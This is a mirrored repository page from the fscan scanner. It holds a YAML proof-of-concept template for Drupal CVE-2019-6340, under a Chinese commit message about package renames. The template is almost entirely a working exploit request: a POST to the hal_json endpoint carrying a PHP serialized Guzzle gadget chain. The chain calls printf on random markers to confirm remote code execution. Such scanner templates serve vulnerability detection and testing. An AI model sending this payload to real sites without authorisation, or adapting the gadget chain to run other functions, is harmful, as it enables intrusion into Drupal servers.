mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重命名 Common -> common,WebScan -> webscan,遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项,优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
34 lines
1.2 KiB
YAML
34 lines
1.2 KiB
YAML
name: poc-yaml-drupal-cve-2019-6340
|
|
set:
|
|
host: request.url.host
|
|
r1: randomLowercase(4)
|
|
r2: randomLowercase(4)
|
|
rules:
|
|
- method: POST
|
|
path: /node/?_format=hal_json
|
|
headers:
|
|
Content-Type: application/hal+json
|
|
Accept: '*/*'
|
|
body: |
|
|
{
|
|
"link": [
|
|
{
|
|
"value": "link",
|
|
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
|
}
|
|
],
|
|
"_links": {
|
|
"type": {
|
|
"href": "http://{{host}}/rest/type/shortcut/default"
|
|
}
|
|
}
|
|
}
|
|
follow_redirects: true
|
|
expression: |
|
|
response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2))
|
|
detail:
|
|
author: thatqier
|
|
links:
|
|
- https://github.com/jas502n/CVE-2019-6340
|
|
- https://github.com/knqyf263/CVE-2019-6340
|